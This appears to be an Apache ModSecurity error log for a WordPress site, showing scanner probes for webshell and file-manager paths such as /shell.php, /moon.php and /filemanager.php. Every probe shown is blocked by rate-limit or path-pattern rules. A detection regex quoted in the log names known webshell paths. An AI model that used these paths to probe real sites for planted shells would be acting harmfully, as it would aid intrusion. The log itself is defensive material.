[Mon Apr 06 18:43:19.953882 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:46984] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOOR-Z85qg4jLsRpQxs3gAAAJA"]
[Mon Apr 06 18:43:20.451167 2026] [:error] [pid 35688:tid 35762] [client 51.120.80.210:50766] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOSOZ85qg4jLsRpQxs3wAAAIw"]
[Mon Apr 06 18:43:20.873794 2026] [:error] [pid 35688:tid 35757] [client 51.103.121.89:43577] [client 51.103.121.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "adOOSOZ85qg4jLsRpQxs4AAAAIc"]
[Mon Apr 06 18:43:21.117029 2026] [:error] [pid 10280:tid 10304] [client 172.213.138.9:45825] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOSV8QUJkf8g-BFfPJgwAAAdU"]
[Mon Apr 06 18:43:21.550275 2026] [:error] [pid 38562:tid 38574] [client 51.103.121.89:37955] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOSaeD6Ohe6wzRuy5lbgAAAUk"]
[Mon Apr 06 18:43:22.328543 2026] [:error] [pid 10280:tid 10298] [client 51.103.121.89:38003] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOSl8QUJkf8g-BFfPJhgAAAc8"]
[Mon Apr 06 18:43:24.040195 2026] [:error] [pid 38562:tid 38585] [client 51.103.121.89:41886] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOTKeD6Ohe6wzRuy5ldwAAAVQ"]
[Mon Apr 06 18:43:26.866858 2026] [:error] [pid 35686:tid 35699] [client 172.213.138.9:33160] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOTsMKdea6oORd2fzCgQAAAAM"]
[Mon Apr 06 18:43:29.708386 2026] [:error] [pid 9442:tid 9466] [client 51.120.80.210:37302] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOOUUPsNnAJTnmz6saAOgAAARY"]
[Mon Apr 06 18:43:29.751149 2026] [:error] [pid 35688:tid 35762] [client 172.213.138.9:5332] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOUeZ85qg4jLsRpQxtCQAAAIw"]
[Mon Apr 06 18:43:31.105285 2026] [:error] [pid 35688:tid 35760] [client 51.103.121.89:41867] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOU-Z85qg4jLsRpQxtDwAAAIo"]
[Mon Apr 06 18:43:31.374664 2026] [:error] [pid 38562:tid 38585] [client 172.213.138.9:37467] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOU6eD6Ohe6wzRuy5lhwAAAVQ"]
[Mon Apr 06 18:43:32.870327 2026] [:error] [pid 35688:tid 35762] [client 172.213.138.9:49689] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "adOOVOZ85qg4jLsRpQxtFgAAAIw"]
[Mon Apr 06 18:43:36.160074 2026] [:error] [pid 35688:tid 35768] [client 51.103.121.89:36719] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOWOZ85qg4jLsRpQxtIAAAAJI"]
[Mon Apr 06 18:43:38.690403 2026] [:error] [pid 35688:tid 35758] [client 51.103.121.89:37986] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOWuZ85qg4jLsRpQxtKAAAAIg"]
[Mon Apr 06 18:43:39.578007 2026] [:error] [pid 9442:tid 9457] [client 51.103.121.89:36701] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOW0PsNnAJTnmz6saARwAAAQ0"]
[Mon Apr 06 18:43:40.370405 2026] [:error] [pid 9442:tid 9448] [client 51.103.121.89:47805] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOXEPsNnAJTnmz6saASwAAAQQ"]
[Mon Apr 06 18:43:41.232837 2026] [:error] [pid 35687:tid 35739] [client 51.103.121.89:35946] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOXZ3LtDozV0i8BitZ4gAAAFA"]
[Mon Apr 06 18:43:42.281829 2026] [:error] [pid 35686:tid 35707] [client 51.103.121.89:47514] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "adOOXsMKdea6oORd2fzCnAAAAAs"]
[Mon Apr 06 18:43:43.250084 2026] [:error] [pid 35687:tid 35745] [client 51.103.121.89:37242] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "adOOX53LtDozV0i8BitZ5wAAAFY"]
[Mon Apr 06 18:43:44.138808 2026] [:error] [pid 38562:tid 38578] [client 51.103.121.89:36961] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "adOOYKeD6Ohe6wzRuy5lmAAAAU0"]
[Mon Apr 06 18:43:44.733493 2026] [:error] [pid 10280:tid 10298] [client 51.103.121.89:47780] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "adOOYF8QUJkf8g-BFfPJtQAAAc8"]
[Mon Apr 06 18:43:46.824667 2026] [:error] [pid 9442:tid 9461] [client 51.120.80.210:35623] [client 51.120.80.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "adOOYkPsNnAJTnmz6saAWgAAARE"]
[Mon Apr 06 18:43:46.849743 2026] [:error] [pid 38562:tid 38587] [client 51.103.121.89:35419] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/33.php"] [unique_id "adOOYqeD6Ohe6wzRuy5lqAAAAVY"]
[Mon Apr 06 18:43:49.018195 2026] [:error] [pid 35686:tid 35703] [client 51.103.121.89:37219] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "adOOZcMKdea6oORd2fzCvwAAAAc"]
[Mon Apr 06 18:43:50.509869 2026] [:error] [pid 35686:tid 35720] [client 51.103.121.89:34419] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "adOOZsMKdea6oORd2fzCyAAAABg"]
[Mon Apr 06 18:43:51.840986 2026] [:error] [pid 10280:tid 10296] [client 51.103.121.89:38268] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "adOOZ18QUJkf8g-BFfPJzAAAAc0"]
[Mon Apr 06 18:43:53.376330 2026] [:error] [pid 35686:tid 35706] [client 172.213.138.9:41361] [client 172.213.138.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adOOacMKdea6oORd2fzC1wAAAAo"]
[Mon Apr 06 18:43:54.151541 2026] [:error] [pid 10280:tid 10298] [client 172.213.138.9:5423] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "adOOal8QUJkf8g-BFfPJ1AAAAc8"]
[Mon Apr 06 18:43:54.244131 2026] [:error] [pid 10280:tid 10296] [client 51.103.121.89:5304] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "adOOal8QUJkf8g-BFfPJ1QAAAc0"]
[Mon Apr 06 18:43:55.273001 2026] [:error] [pid 9442:tid 9452] [client 172.213.138.9:53519] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "adOOa0PsNnAJTnmz6saAdAAAAQg"]
[Mon Apr 06 18:43:57.017257 2026] [:error] [pid 9442:tid 9448] [client 172.213.138.9:5873] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "adOObUPsNnAJTnmz6saAdwAAAQQ"]
[Mon Apr 06 18:43:57.134868 2026] [:error] [pid 38562:tid 38581] [client 51.103.121.89:47738] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "adOObaeD6Ohe6wzRuy5lygAAAVA"]
[Mon Apr 06 18:43:58.634456 2026] [:error] [pid 38562:tid 38574] [client 51.103.121.89:47716] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "adOObqeD6Ohe6wzRuy5lzwAAAUk"]
[Mon Apr 06 18:43:58.688978 2026] [:error] [pid 38562:tid 38586] [client 172.213.138.9:44995] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "adOObqeD6Ohe6wzRuy5l0AAAAVU"]
[Mon Apr 06 18:43:59.502845 2026] [:error] [pid 9413:tid 9429] [client 172.213.138.9:50016] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "adOOb3llvEK3chn01wG2dgAAAY4"]
[Mon Apr 06 18:44:00.058554 2026] [:error] [pid 9413:tid 9417] [client 51.103.121.89:34408] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "adOOcHllvEK3chn01wG2dwAAAYI"]
[Mon Apr 06 18:44:00.742418 2026] [:error] [pid 35786:tid 35808] [client 172.213.138.9:44532] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "adOOcGgkfCKTaLhwaKQROAAAAM8"]
[Mon Apr 06 18:44:01.143587 2026] [:error] [pid 9442:tid 9448] [client 51.103.121.89:36434] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "adOOcUPsNnAJTnmz6saAfQAAAQQ"]
[Mon Apr 06 18:44:01.343013 2026] [:error] [pid 35686:tid 35717] [client 172.213.138.9:44542] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "adOOccMKdea6oORd2fzC7wAAABU"]
[Mon Apr 06 18:44:01.926531 2026] [:error] [pid 10280:tid 10298] [client 172.213.138.9:45012] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "adOOcV8QUJkf8g-BFfPJ4QAAAc8"]
[Mon Apr 06 18:44:02.109486 2026] [:error] [pid 9442:tid 9467] [client 51.103.121.89:46741] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adOOckPsNnAJTnmz6saAgAAAARc"]
[Mon Apr 06 18:44:02.489204 2026] [:error] [pid 1827:tid 1847] [client 172.213.138.9:5805] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "adOOcuVeb6S_DnjZ2xH3PAAAAhI"]
[Mon Apr 06 18:44:02.804522 2026] [:error] [pid 35688:tid 35771] [client 51.103.121.89:44250] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adOOcuZ85qg4jLsRpQxtTwAAAJU"]
[Mon Apr 06 18:44:03.187307 2026] [:error] [pid 9413:tid 9421] [client 172.213.138.9:53526] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "adOOc3llvEK3chn01wG2eQAAAYY"]
[Mon Apr 06 18:44:04.197166 2026] [:error] [pid 10280:tid 10284] [client 172.213.138.9:53440] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "adOOdF8QUJkf8g-BFfPJ4wAAAcE"]
[Mon Apr 06 18:44:05.105477 2026] [:error] [pid 10280:tid 10299] [client 172.213.138.9:53523] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "adOOdV8QUJkf8g-BFfPJ6AAAAdA"]
[Mon Apr 06 18:44:06.310253 2026] [:error] [pid 10280:tid 10296] [client 172.213.138.9:43975] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOdl8QUJkf8g-BFfPJ8wAAAc0"]
[Mon Apr 06 18:44:07.392602 2026] [:error] [pid 9442:tid 9448] [client 172.213.138.9:53528] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOd0PsNnAJTnmz6saAjQAAAQQ"]
[Mon Apr 06 18:44:09.845840 2026] [:error] [pid 38562:tid 38565] [client 172.213.138.9:44535] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOeaeD6Ohe6wzRuy5l4AAAAUA"]
[Mon Apr 06 18:44:11.917548 2026] [:error] [pid 35688:tid 35751] [client 172.213.138.9:45278] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOe-Z85qg4jLsRpQxtYAAAAIE"]
[Mon Apr 06 18:44:16.255527 2026] [:error] [pid 10280:tid 10290] [client 51.103.121.89:38556] [client 51.103.121.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adOOgF8QUJkf8g-BFfPKDAAAAcc"]
[Mon Apr 06 18:44:16.748064 2026] [:error] [pid 38562:tid 38576] [client 172.213.138.9:34999] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOgKeD6Ohe6wzRuy5l8wAAAUs"]
[Mon Apr 06 18:44:19.723212 2026] [:error] [pid 9442:tid 9462] [client 172.213.138.9:50070] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "adOOg0PsNnAJTnmz6saApgAAARI"]
[Mon Apr 06 18:44:22.296491 2026] [:error] [pid 35688:tid 35756] [client 51.103.121.89:33507] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adOOhuZ85qg4jLsRpQxtdQAAAIY"]
